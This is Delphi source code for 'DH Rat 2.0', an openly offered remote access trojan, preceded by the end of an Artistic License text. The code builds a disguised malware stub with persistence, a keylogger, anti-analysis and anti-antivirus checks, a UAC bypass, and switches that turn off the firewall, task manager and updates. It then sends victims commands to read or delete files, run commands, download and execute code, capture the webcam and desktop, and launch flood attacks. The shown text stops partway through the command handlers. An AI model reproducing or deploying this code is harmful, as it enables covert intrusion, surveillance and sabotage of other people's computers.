(11) If your Modified Version has been derived from a Modified Version made by someone other than you, you are nevertheless required to ensure that your Modified Version complies with the requirements of this license.
(12) This license does not grant you the right to use any trademark, service mark, tradename, or logo of the Copyright Holder.
(13) This license includes the non-exclusive, worldwide, free-of-charge patent license to make, have made, use, offer to sell, sell, import and otherwise transfer the Package with respect to any patent claims licensable by the Copyright Holder that are necessarily infringed by the Package. If you institute patent litigation (including a cross-claim or counterclaim) against any party alleging that the Package constitutes direct or contributory patent infringement, then this Artistic License to you shall terminate on the date that such litigation is filed.
(14) Disclaimer of Warranty: THE PACKAGE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS IS' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES. THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT ARE DISCLAIMED TO THE EXTENT PERMITTED BY YOUR LOCAL LAW. UNLESS REQUIRED BY LAW, NO COPYRIGHT HOLDER OR CONTRIBUTOR WILL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
}
// DH Rat 2.0
// (C) Doddy Hackman 2016
unit rat;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
Vcl.ComCtrls, Vcl.ImgList, Vcl.StdCtrls, Vcl.Styles.Utils.ComCtrls,
Vcl.Styles.Utils.Menus,
Vcl.Styles.Utils.SysStyleHook,
Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips, DH_Form_Effects,
DH_Builder_Tools, DH_Server_Manager, System.Win.ScktComp, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Vcl.Menus, IdCoder,
IdCoderMIME, ShellApi, FormDesktopCapture,
FormWebcamCapture, Jpeg, DH_Informator;
type
TFormHome = class(TForm)
imgLogo: TImage;
status: TStatusBar;
ppOpciones: TPopupMenu;
ItemFiles: TMenuItem;
ItemListFiles: TMenuItem;
ItemReadFile: TMenuItem;
ItemDeleteThisFile: TMenuItem;
ItemProcess: TMenuItem;
ItemListProcess: TMenuItem;
ItemKillProcess: TMenuItem;
ItemCommand: TMenuItem;
ItemDisables: TMenuItem;
ItemRegedit: TMenuItem;
ItemActiveRegedit: TMenuItem;
DisableRegedit: TMenuItem;
ItemFirewall: TMenuItem;
ItemActiveFirewall: TMenuItem;
ItemDisableFirewall: TMenuItem;
ItemJokes: TMenuItem;
ItemCD: TMenuItem;
ItemOpenCD: TMenuItem;
ItemCloseCD: TMenuItem;
ItemIcons: TMenuItem;
ItemIconsShow: TMenuItem;
ItemHideIcons: TMenuItem;
ItemTaskbar: TMenuItem;
ItemTaskbarShow: TMenuItem;
ItemTaskbarHide: TMenuItem;
ItemMessages: TMenuItem;
ItemMessagesSingle: TMenuItem;
ItemMessagesBomber: TMenuItem;
ItemSendkeys: TMenuItem;
SendKeys: TMenuItem;
ItemWriteWord: TMenuItem;
ItemCrazy: TMenuItem;
ItemCrazyMouse: TMenuItem;
ItemCrazyHour: TMenuItem;
ItemManager: TMenuItem;
ItemShutdown: TMenuItem;
ItemReboot: TMenuItem;
ItemCloseSession: TMenuItem;
ItemOpenURL: TMenuItem;
ItemLoadPaint: TMenuItem;
ItemChangeTaskbarText: TMenuItem;
ItemChangeTextTaskbarEnable: TMenuItem;
ItemChangeTextTaskbarDisable: TMenuItem;
ItemTurnOffMonitor: TMenuItem;
ItemSpeak: TMenuItem;
ItemPlayBeeps: TMenuItem;
ItemOthers: TMenuItem;
ItemList: TMenuItem;
ItemListDrives: TMenuItem;
ItemListServices: TMenuItem;
ItemListWindows: TMenuItem;
ItemDownloadAndExecute: TMenuItem;
ItemScreensaver: TMenuItem;
ItemScreensaverChange: TMenuItem;
ItemWallpaper: TMenuItem;
ItemWallpaperChange: TMenuItem;
ItemBomber: TMenuItem;
ItemPrinterBomber: TMenuItem;
ItemFormBomber: TMenuItem;
ItemHTMLBomber: TMenuItem;
ItemWindowsBomber: TMenuItem;
ItemBlockAll: TMenuItem;
ItemDDOS: TMenuItem;
ItemSQLI_DoS: TMenuItem;
ItemHTTP_Flood: TMenuItem;
ItemSocket_Flood: TMenuItem;
ItemSlowloris: TMenuItem;
ItemUDP_Flood: TMenuItem;
ItemKeylogger: TMenuItem;
ItemUninstaller: TMenuItem;
ilIconosConsole: TImageList;
ilIconosOpciones: TImageList;
ilIconosMenu: TImageList;
notificar: TTrayIcon;
ilIconosAntis: TImageList;
ppConsole: TPopupMenu;
Clear1: TMenuItem;
ilIconosPageControl: TImageList;
ilIconosBuilder: TImageList;
ilIconosBotones: TImageList;
nave: TIdHTTP;
ppMenu: TPopupMenu;
StartServer1: TMenuItem;
StopServer1: TMenuItem;
ssServer: TServerSocket;
pcOptions: TPageControl;
tsAdministration: TTabSheet;
idiots_found_now: TGroupBox;
lvIdiots: TListView;
tsConsole: TTabSheet;
gbConsole: TGroupBox;
console: TMemo;
tsBuilder: TTabSheet;
pcBuilderOptions: TPageControl;
tsConfiguration: TTabSheet;
gbEnterIPBuilder: TGroupBox;
txtIP: TEdit;
btnGenerate: TButton;
gbOptionsConfiguration: TGroupBox;
cbHideFiles: TCheckBox;
cbUseStartup: TCheckBox;
cbUseKeylogger: TCheckBox;
tsUAC_Tricky: TTabSheet;
cb_Use_UAC_Tricky: TCheckBox;
gbTypeUAC_Tricky: TGroupBox;
rbContinue_if_UAC_is_Off: TRadioButton;
rbExit_if_UAC_is_Off: TRadioButton;
tsExtractionPath: TTabSheet;
gbPathExtractionPath: TGroupBox;
cmbSpecialPaths: TComboBox;
txtPath: TEdit;
rbSelectPath: TRadioButton;
rbIUseThis: TRadioButton;
gbEnterFolderExtractionPath: TGroupBox;
txtFolder: TEdit;
tsDateTime: TTabSheet;
cbUseThisDateTime: TCheckBox;
gbDateTimeConfiguration: TGroupBox;
lblCreationTime: TLabel;
lblModifiedTime: TLabel;
lblLastAccess: TLabel;
txtCreationTime: TEdit;
txtModifiedTime: TEdit;
txtLastAccessTime: TEdit;
tsFilePumper: TTabSheet;
cbIUseFilePumper: TCheckBox;
gbEnterCountFilePumper: TGroupBox;
txtCount: TEdit;
upEnterCountFilePumper: TUpDown;
gbSelectTypeFilePumper: TGroupBox;
cmbTypes: TComboBox;
tsExtensionSpoofer: TTabSheet;
cbUseExtensionSpoofer: TCheckBox;
gbOptionsExtensionSpoofer: TGroupBox;
cmbExtensions: TComboBox;
rbUseSelectExtension: TRadioButton;
rbUseThisExtension: TRadioButton;
txtExtension: TEdit;
tsIconChanger: TTabSheet;
gbEnterIconIconChanger: TGroupBox;
txtPathIcon: TEdit;
btnLoadIcon: TButton;
gbPreviewIconChanger: TGroupBox;
imgPreviewIcon: TImage;
cbUseIconChanger: TCheckBox;
tsAntisDisables: TTabSheet;
gbAntis: TGroupBox;
cbAnti_VirtualPC: TCheckBox;
cbAnti_VirtualBox: TCheckBox;
cbAnti_Kaspersky: TCheckBox;
cbAnti_Wireshark: TCheckBox;
cbAnti_OllyDbg: TCheckBox;
cbAnti_Anubis: TCheckBox;
cbAnti_Debug: TCheckBox;
cbAnti_VMWare: TCheckBox;
gbDisables: TGroupBox;
cbDisable_UAC: TCheckBox;
cbDisable_Firewall: TCheckBox;
cbDisable_CMD: TCheckBox;
cbDisable_Run: TCheckBox;
cbDisable_Regedit: TCheckBox;
cbDisable_Taskmgr: TCheckBox;
cbDisable_Updates: TCheckBox;
cbDisable_MsConfig: TCheckBox;
tsAbout: TTabSheet;
gbAbout: TGroupBox;
about: TImage;
panelAbout: TPanel;
labelAbout: TLabel;
ItemWebcam: TMenuItem;
ItemDesktop: TMenuItem;
ItemStartCaptureWebcam: TMenuItem;
ItemStopCaptureWebcam: TMenuItem;
ItemStartCaptureDesktop: TMenuItem;
ItemStopCaptureDesktop: TMenuItem;
ssRemoteServer: TServerSocket;
ilIconosIdiots: TImageList;
procedure FormCreate(Sender: TObject);
procedure btnGenerateClick(Sender: TObject);
procedure StartServer1Click(Sender: TObject);
procedure StopServer1Click(Sender: TObject);
procedure Clear1Click(Sender: TObject);
procedure ssServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
procedure ssServerListen(Sender: TObject; Socket: TCustomWinSocket);
procedure ItemListFilesClick(Sender: TObject);
procedure ItemReadFileClick(Sender: TObject);
procedure ItemDeleteThisFileClick(Sender: TObject);
procedure ItemListProcessClick(Sender: TObject);
procedure ItemKillProcessClick(Sender: TObject);
procedure ItemCommandClick(Sender: TObject);
procedure ItemActiveRegeditClick(Sender: TObject);
procedure DisableRegeditClick(Sender: TObject);
procedure ItemActiveFirewallClick(Sender: TObject);
procedure ItemDisableFirewallClick(Sender: TObject);
procedure ItemOpenCDClick(Sender: TObject);
procedure ItemCloseCDClick(Sender: TObject);
procedure ItemIconsShowClick(Sender: TObject);
procedure ItemHideIconsClick(Sender: TObject);
procedure ItemTaskbarShowClick(Sender: TObject);
procedure ItemTaskbarHideClick(Sender: TObject);
procedure ItemMessagesSingleClick(Sender: TObject);
procedure ItemMessagesBomberClick(Sender: TObject);
procedure SendKeysClick(Sender: TObject);
procedure ItemWriteWordClick(Sender: TObject);
procedure ItemCrazyMouseClick(Sender: TObject);
procedure ItemCrazyHourClick(Sender: TObject);
procedure ItemShutdownClick(Sender: TObject);
procedure ItemRebootClick(Sender: TObject);
procedure ItemCloseSessionClick(Sender: TObject);
procedure ItemOpenURLClick(Sender: TObject);
procedure ItemLoadPaintClick(Sender: TObject);
procedure ItemChangeTextTaskbarEnableClick(Sender: TObject);
procedure ItemChangeTextTaskbarDisableClick(Sender: TObject);
procedure ItemTurnOffMonitorClick(Sender: TObject);
procedure ItemSpeakClick(Sender: TObject);
procedure ItemPlayBeepsClick(Sender: TObject);
procedure ItemListDrivesClick(Sender: TObject);
procedure ItemListServicesClick(Sender: TObject);
procedure ItemListWindowsClick(Sender: TObject);
procedure ItemDownloadAndExecuteClick(Sender: TObject);
procedure ItemScreensaverChangeClick(Sender: TObject);
procedure ItemWallpaperChangeClick(Sender: TObject);
procedure ItemFormBomberClick(Sender: TObject);
procedure ItemPrinterBomberClick(Sender: TObject);
procedure ItemWindowsBomberClick(Sender: TObject);
procedure ItemHTMLBomberClick(Sender: TObject);
procedure ItemBlockAllClick(Sender: TObject);
procedure ItemSQLI_DoSClick(Sender: TObject);
procedure ItemHTTP_FloodClick(Sender: TObject);
procedure ItemSocket_FloodClick(Sender: TObject);
procedure ItemSlowlorisClick(Sender: TObject);
procedure ItemUDP_FloodClick(Sender: TObject);
procedure ItemKeyloggerClick(Sender: TObject);
procedure ItemUninstallerClick(Sender: TObject);
procedure ItemStartCaptureWebcamClick(Sender: TObject);
procedure ItemStopCaptureWebcamClick(Sender: TObject);
procedure ItemStartCaptureDesktopClick(Sender: TObject);
procedure ItemStopCaptureDesktopClick(Sender: TObject);
procedure ssRemoteServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ssServerClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure btnLoadIconClick(Sender: TObject);
private
{ Private declarations }
file_stream: TFileStream;
file_size: integer;
capture_online: boolean;
public
{ Public declarations }
frmDesktopCapture: TfrmDesktopCapture;
frmWebcamCapture: TfrmWebcamCapture;
desktop_online: boolean;
webcam_online: boolean;
username_idiot: string;
webcam_idiot: string;
status_idiot: string;
function open_dialog(title, filter: string; filter_index: integer): string;
function save_dialog(title, filter, default_ext: string;
filter_index: integer): string;
procedure Send_Command(Command: string);
end;
var
FormHome: TFormHome;
idiots_found: integer;
argument1: string;
argument2: string;
argument3: string;
argument4: string;
implementation
{$R *.dfm}
// Functions
function message_box(title, message_text, type_message: string): string;
begin
if not(title = '') and not(message_text = '') and not(type_message = '') then
begin
try
begin
if (type_message = 'Information') then
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONINFORMATION);
end
else if (type_message = 'Warning') then
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONWARNING);
end
else if (type_message = 'Question') then
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONQUESTION);
end
else if (type_message = 'Error') then
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONERROR);
end
else
begin
MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
MB_ICONINFORMATION);
end;
Result := '[+] MessageBox : OK';
end;
except
begin
Result := '[-] Error';
end;
end;
end
else
begin
Result := '[-] Error';
end;
end;
function TFormHome.open_dialog(title, filter: string;
filter_index: integer): string;
var
odOpenFile: TOpenDialog;
filename: string;
begin
odOpenFile := TOpenDialog.Create(Self);
odOpenFile.title := title;
odOpenFile.InitialDir := GetCurrentDir;
odOpenFile.Options := [ofFileMustExist];
odOpenFile.filter := filter;
odOpenFile.FilterIndex := filter_index;
if odOpenFile.Execute then
begin
filename := odOpenFile.filename;
end;
odOpenFile.Free;
Result := filename;
end;
function TFormHome.save_dialog(title, filter, default_ext: string;
filter_index: integer): string;
var
sdSaveFile: TSaveDialog;
filename: string;
begin
sdSaveFile := TSaveDialog.Create(Self);
sdSaveFile.title := title;
sdSaveFile.InitialDir := GetCurrentDir;
sdSaveFile.filter := filter;
sdSaveFile.DefaultExt := default_ext;
sdSaveFile.FilterIndex := filter_index;
if sdSaveFile.Execute then
begin
filename := sdSaveFile.filename;
end;
sdSaveFile.Free;
Result := filename;
end;
function base64_encode(text: string): string;
var
Encoder: TIdEncoderMime;
begin
Encoder := TIdEncoderMime.Create(nil);
try
Result := Encoder.EncodeString(text);
finally
FreeAndNil(Encoder);
end
end;
function base64_decode(text: string): string;
var
Decoder: TIdDecoderMime;
begin
Decoder := TIdDecoderMime.Create(nil);
try
Result := Decoder.DecodeString(text);
finally
FreeAndNil(Decoder);
end
end;
procedure savefile(filename, texto: string);
var
ar: TextFile;
begin
AssignFile(ar, filename);
FileMode := fmOpenWrite;
if FileExists(filename) then
Append(ar)
else
Rewrite(ar);
Write(ar, texto);
CloseFile(ar);
end;
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
//
procedure TFormHome.FormCreate(Sender: TObject);
var
effect: T_DH_Form_Effects;
var
info: T_DH_Informator;
ip, country, country_image, username, os, read_code: string;
var
stream: TMemoryStream;
png: TPngImage;
bmp: TBitmap;
R: TRect;
nave_profile: TIdHTTP;
begin
idiots_found := 0;
effect := T_DH_Form_Effects.Create();
effect.Effect_Marquee_Label_DownUp(panelAbout, labelAbout, 1);
effect.Free;
UseLatestCommonDialogs := False;
console.Lines.Clear;
console.Lines.Add(' - DH Rat - Command Console - ');
console.Lines.Add('Running program version 1.0');
console.Lines.Add('-----------------------------------' + sLineBreak);
console.Lines.Add('Welcome to hell');
frmDesktopCapture := TfrmDesktopCapture.Create(Self);
frmWebcamCapture := TfrmWebcamCapture.Create(Self);
end;
procedure TFormHome.btnGenerateClick(Sender: TObject);
var
builder_tools: T_DH_Builder_Tools;
server_manager: T_DH_Server_Manager;
stub_generado: string;
var
ip: string;
port: string;
port_remotecapture: string;
var
configuration, extraction_config, antis_config, disables_config,
linea_final: string;
//
var
op_hide_files, op_use_startup, op_use_keylogger, op_use_special_path,
op_i_use_this, op_use_uac_tricky, op_uac_tricky_continue_if_off,
op_uac_tricky_exit_if_off, op_use_this_datetime, op_anti_virtual_pc,
op_anti_virtual_box, op_anti_debug, op_anti_wireshark, op_anti_ollydbg,
op_anti_anubis, op_anti_kaspersky, op_anti_vmware, op_disable_uac,
op_disable_firewall, op_disable_cmd, op_disable_run, op_disable_taskmgr,
op_disable_regedit, op_disable_updates, op_disable_msconfig: string;
//
begin
if (txtIP.text = '') then
begin
message_box('DH Rat 2.0', 'Enter Configuration', 'Warning');
end
else
begin
stub_generado := save_dialog('Save your malware', 'Exe file|*.exe',
'exe', 0);
ip := txtIP.text;
port := '11666';
port_remotecapture := '11667';
//
if (cbHideFiles.Checked) then
begin
op_hide_files := '1';
end
else
begin
op_hide_files := '0';
end;
if (cbUseStartup.Checked) then
begin
op_use_startup := '1';
end
else
begin
op_use_startup := '0';
end;
if (cb_Use_UAC_Tricky.Checked) then
begin
op_use_uac_tricky := '1';
end
else
begin
op_use_uac_tricky := '0';
end;
if (rbContinue_if_UAC_is_Off.Checked) then
begin
op_uac_tricky_continue_if_off := '1';
end
else
begin
op_uac_tricky_continue_if_off := '0';
end;
if (rbExit_if_UAC_is_Off.Checked) then
begin
op_uac_tricky_exit_if_off := '1';
end
else
begin
op_uac_tricky_exit_if_off := '0';
end;
if (cbUseKeylogger.Checked) then
begin
op_use_keylogger := '1';
end
else
begin
op_use_keylogger := '0';
end;
if (rbSelectPath.Checked) then
begin
op_use_special_path := '1';
end
else
begin
op_use_special_path := '0';
end;
if (rbIUseThis.Checked) then
begin
op_i_use_this := '1';
end
else
begin
op_i_use_this := '0';
end;
if (cbUseThisDateTime.Checked) then
begin
op_use_this_datetime := '1';
end
else
begin
op_use_this_datetime := '0';
end;
if (cbAnti_VirtualPC.Checked) then
begin
op_anti_virtual_pc := '1';
end
else
begin
op_anti_virtual_pc := '0';
end;
if (cbAnti_VirtualBox.Checked) then
begin
op_anti_virtual_box := '1';
end
else
begin
op_anti_virtual_box := '0';
end;
if (cbAnti_Debug.Checked) then
begin
op_anti_debug := '1';
end
else
begin
op_anti_debug := '0';
end;
if (cbAnti_Wireshark.Checked) then
begin
op_anti_wireshark := '1';
end
else
begin
op_anti_wireshark := '0';
end;
if (cbAnti_OllyDbg.Checked) then
begin
op_anti_ollydbg := '1';
end
else
begin
op_anti_ollydbg := '0';
end;
if (cbAnti_Anubis.Checked) then
begin
op_anti_anubis := '1';
end
else
begin
op_anti_anubis := '0';
end;
if (cbAnti_Kaspersky.Checked) then
begin
op_anti_kaspersky := '1';
end
else
begin
op_anti_kaspersky := '0';
end;
if (cbAnti_VMWare.Checked) then
begin
op_anti_vmware := '1';
end
else
begin
op_anti_vmware := '0';
end;
if (cbDisable_UAC.Checked) then
begin
op_disable_uac := '1';
end
else
begin
op_disable_uac := '0';
end;
if (cbDisable_Firewall.Checked) then
begin
op_disable_firewall := '1';
end
else
begin
op_disable_firewall := '0';
end;
if (cbDisable_CMD.Checked) then
begin
op_disable_cmd := '1';
end
else
begin
op_disable_cmd := '0';
end;
if (cbDisable_Run.Checked) then
begin
op_disable_run := '1';
end
else
begin
op_disable_run := '0';
end;
if (cbDisable_Taskmgr.Checked) then
begin
op_disable_taskmgr := '1';
end
else
begin
op_disable_taskmgr := '0';
end;
if (cbDisable_Regedit.Checked) then
begin
op_disable_regedit := '1';
end
else
begin
op_disable_regedit := '0';
end;
if (cbDisable_Updates.Checked) then
begin
op_disable_updates := '1';
end
else
begin
op_disable_updates := '0';
end;
if (cbDisable_MsConfig.Checked) then
begin
op_disable_msconfig := '1';
end
else
begin
op_disable_msconfig := '0';
end;
//
configuration := '[ip]' + txtIP.text + '[ip]' + '[port_server]' + port +
'[port_server][port_remotecapture]' + port_remotecapture +
'[port_remotecapture]';
configuration := configuration + '[active]1[active][op_hide_files]' +
op_hide_files + '[op_hide_files]' + '[op_use_startup]' + op_use_startup +
'[op_use_startup]' + '[op_keylogger]' + op_use_keylogger +
'[op_keylogger]';
extraction_config := '[op_use_special_path]' + op_use_special_path +
'[op_use_special_path]' + '[op_use_this_path]' + op_i_use_this +
'[op_use_this_path]' + '[special_path]' + cmbSpecialPaths.text +
'[special_path]' + '[path]' + txtPath.text + '[path]' + '[folder]' +
txtFolder.text + '[folder]' + '[op_use_uac_tricky]' + op_use_uac_tricky +
'[op_use_uac_tricky][op_uac_tricky_continue_if_off]' +
op_uac_tricky_continue_if_off + '[op_uac_tricky_continue_if_off]' +
'[op_uac_tricky_exit_if_off]' + op_uac_tricky_exit_if_off +
'[op_uac_tricky_exit_if_off][op_use_this_datetime]' + op_use_this_datetime
+ '[op_use_this_datetime][creation_time]' + txtCreationTime.text +
'[creation_time][modified_time]' + txtModifiedTime.text +
'[modified_time][last_access]' + txtLastAccessTime.text + '[last_access]';
antis_config := '[op_anti_virtual_pc]' + op_anti_virtual_pc +
'[op_anti_virtual_pc]' + '[op_anti_virtual_box]' + op_anti_virtual_box +
'[op_anti_virtual_box]' + '[op_anti_debug]' + op_anti_debug +
'[op_anti_debug]' + '[op_anti_wireshark]' + op_anti_wireshark +
'[op_anti_wireshark]' + '[op_anti_ollydbg]' + op_anti_ollydbg +
'[op_anti_ollydbg]' + '[op_anti_anubis]' + op_anti_anubis +
'[op_anti_anubis]' + '[op_anti_kaspersky]' + op_anti_kaspersky +
'[op_anti_kaspersky]' + '[op_anti_vmware]' + op_anti_vmware +
'[op_anti_vmware]';
disables_config := '[op_disable_uac]' + op_disable_uac + '[op_disable_uac]'
+ '[op_disable_firewall]' + op_disable_firewall + '[op_disable_firewall]'
+ '[op_disable_cmd]' + op_disable_cmd + '[op_disable_cmd]' +
'[op_disable_run]' + op_disable_run + '[op_disable_run]' +
'[op_disable_taskmgr]' + op_disable_taskmgr + '[op_disable_taskmgr]' +
'[op_disable_regedit]' + op_disable_regedit + '[op_disable_regedit]' +
'[op_disable_updates]' + op_disable_updates + '[op_disable_updates]' +
'[op_disable_msconfig]' + op_disable_msconfig + '[op_disable_msconfig]';
linea_final := configuration + extraction_config + antis_config +
disables_config;
DeleteFile(stub_generado);
CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'stub_now.exe'),
PChar(stub_generado), True);
builder_tools := T_DH_Builder_Tools.Create();
server_manager := T_DH_Server_Manager.Create();
if (builder_tools.write_resource(stub_generado, linea_final, 666)) then
begin
if (cbIUseFilePumper.Checked) then
begin
if (server_manager.file_pumper(stub_generado, txtCount.text,
cmbTypes.text)) then
begin
status.Panels[0].text := '[+] File Pumper';
status.Update;
end
else
begin
status.Panels[0].text := '[-] Error with File Pumper';
status.Update;
end;
end;
if (cbUseIconChanger.Checked) then
begin
if (server_manager.change_icon(stub_generado, txtPathIcon.text)) then
begin
status.Panels[0].text := '[+] Icon Changed';
status.Update;
end
else
begin
status.Panels[0].text := '[-] Error with Icon Changer';
status.Update;
end;
end;
if (cbUseExtensionSpoofer.Checked) then
begin
if (rbUseSelectExtension.Checked) then
begin
if (server_manager.extension_changer(stub_generado,
cmbExtensions.text)) then
begin
status.Panels[0].text := '[+] Extension Changed';
status.Update;
end
else
begin
status.Panels[0].text := '[-] Error with Extension Changer';
status.Update;
end;
end;
if (rbUseThisExtension.Checked) then
begin
if (server_manager.extension_changer(stub_generado, txtExtension.text))
then
begin
status.Panels[0].text := '[+] Extension Changed';
status.Update;
end
else
begin
status.Panels[0].text := '[-] Error with Extension Changer';
status.Update;
end;
end;
end;
status.Panels[0].text := '[+] Done';
status.Update;
message_box('DH Rat 2.0', 'Stub Generated', 'Information');
end
else
begin
message_box('DH Rat 2.0', 'Error generating stub', 'Error');
end;
builder_tools.Free;
server_manager.Free;
end;
end;
procedure TFormHome.btnLoadIconClick(Sender: TObject);
var
icon_loaded: string;
begin
icon_loaded := open_dialog('Select Icon', 'Icon file|*.ico', 0);
if not(icon_loaded = '') then
begin
txtPathIcon.text := icon_loaded;
imgPreviewIcon.Picture.LoadFromFile(icon_loaded);
message_box('DH Rat 2.0', 'Icon loaded', 'Information');
end
else
begin
message_box('DH Rat 2.0', 'Icon not found', 'Warning');
end;
end;
procedure TFormHome.Clear1Click(Sender: TObject);
begin
console.Lines.Clear;
console.Lines.Add(' - DH Rat - Command Console - ');
console.Lines.Add('Running program version 1.0');
console.Lines.Add('-----------------------------------' + sLineBreak);
console.Lines.Add('Welcome to hell');
end;
procedure TFormHome.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if (FileExists('screenshot.jpg')) then
begin
DeleteFile('screenshot.jpg');
end;
end;
procedure TFormHome.Send_Command(Command: string);
begin
if not(lvIdiots.Itemindex = -1) then
begin
Command := base64_encode(Command);
ssServer.Socket.Connections[lvIdiots.Itemindex].SendText(Command);
message_box('DH Rat 2.0', 'Command Sended', 'Information');
end
else
begin
message_box('DH Rat 2.0', 'Select Idiot', 'Warning');
end;
end;
// Commands
procedure TFormHome.ItemListFilesClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Directory : ', '');
if not(argument1 = '') then
begin
Send_Command('![list_directory] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemReadFileClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'File : ', '');
if not(argument1 = '') then
begin
Send_Command('![read_file] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemDeleteThisFileClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'File : ', '');
if not(argument1 = '') then
begin
Send_Command('![delete_file] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemListProcessClick(Sender: TObject);
begin
Send_Command('![list_process]');
end;
procedure TFormHome.ItemKillProcessClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Process name : ', '');
if not(argument1 = '') then
begin
Send_Command('![kill_process] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemCommandClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Command : ', '');
if not(argument1 = '') then
begin
Send_Command('![execute_command] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemActiveRegeditClick(Sender: TObject);
begin
Send_Command('![enable_regedit]');
end;
procedure TFormHome.DisableRegeditClick(Sender: TObject);
begin
Send_Command('![disable_regedit]');
end;
procedure TFormHome.ItemActiveFirewallClick(Sender: TObject);
begin
Send_Command('![enable_firewall]');
end;
procedure TFormHome.ItemDisableFirewallClick(Sender: TObject);
begin
Send_Command('![disable_firewall]');
end;
procedure TFormHome.ItemOpenCDClick(Sender: TObject);
begin
Send_Command('![open_cd]');
end;
procedure TFormHome.ItemCloseCDClick(Sender: TObject);
begin
Send_Command('![close_cd]');
end;
procedure TFormHome.ItemIconsShowClick(Sender: TObject);
begin
Send_Command('![enable_icons]');
end;
procedure TFormHome.ItemHideIconsClick(Sender: TObject);
begin
Send_Command('![disable_icons]');
end;
procedure TFormHome.ItemTaskbarShowClick(Sender: TObject);
begin
Send_Command('![enable_taskbar]');
end;
procedure TFormHome.ItemTaskbarHideClick(Sender: TObject);
begin
Send_Command('![disable_taskbar]');
end;
procedure TFormHome.ItemMessagesSingleClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Title : ', '');
argument2 := InputBox('DH Rat 2.0', 'Message : ', '');
if not(argument1 = '') and not(argument2 = '') then
begin
Send_Command('![message_single] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2]');
end;
end;
procedure TFormHome.ItemMessagesBomberClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Title : ', '');
argument2 := InputBox('DH Rat 2.0', 'Message : ', '');
argument3 := InputBox('DH Rat 2.0', 'Count : ', '');
if not(argument1 = '') and not(argument2 = '') and not(argument3 = '') then
begin
Send_Command('![message_bomber] [argument1]' + argument1 +
'[argument1][argument2]' + argument2 + '[argument2][argument3]' +
argument3 + '[argument3]');
end;
end;
procedure TFormHome.SendKeysClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Text : ', '');
if not(argument1 = '') then
begin
Send_Command('![sendkeys] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemWriteWordClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Text : ', '');
if not(argument1 = '') then
begin
Send_Command('![sendkeys_word] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemCrazyMouseClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Count : ', '');
if not(argument1 = '') then
begin
Send_Command('![crazy_mouse] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemCrazyHourClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Count : ', '');
if not(argument1 = '') then
begin
Send_Command('![crazy_hour] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemShutdownClick(Sender: TObject);
begin
Send_Command('![shutdown]');
end;
procedure TFormHome.ItemRebootClick(Sender: TObject);
begin
Send_Command('![reboot]');
end;
procedure TFormHome.ItemCloseSessionClick(Sender: TObject);
begin
Send_Command('![close_session]');
end;
procedure TFormHome.ItemOpenURLClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'URL : ', '');
if not(argument1 = '') then
begin
Send_Command('![open_url] [argument1]' + argument1 + '[argument1]');
end;
end;
procedure TFormHome.ItemLoadPaintClick(Sender: TObject);
begin
Send_Command('![load_paint]');
end;
procedure TFormHome.ItemChangeTextTaskbarEnableClick(Sender: TObject);
begin
argument1 := InputBox('DH Rat 2.0', 'Text : ', '');
if not(argument1 = '') then
begin
Send_Command('![change_taskbar_text_enable] [argument1]' + argument1 +
'[argument1]');
end;
end;
procedure TFormHome.ItemChangeTextTaskbarDisableClick(Sender: TObject);
begin
Send_Command('![change_taskbar_text_disable]');
end;
procedure TFormHome.ItemTurnOffMonitorClick(Sender: TObject);
begin
Send_Command('![turn_off_monitor]');
end;
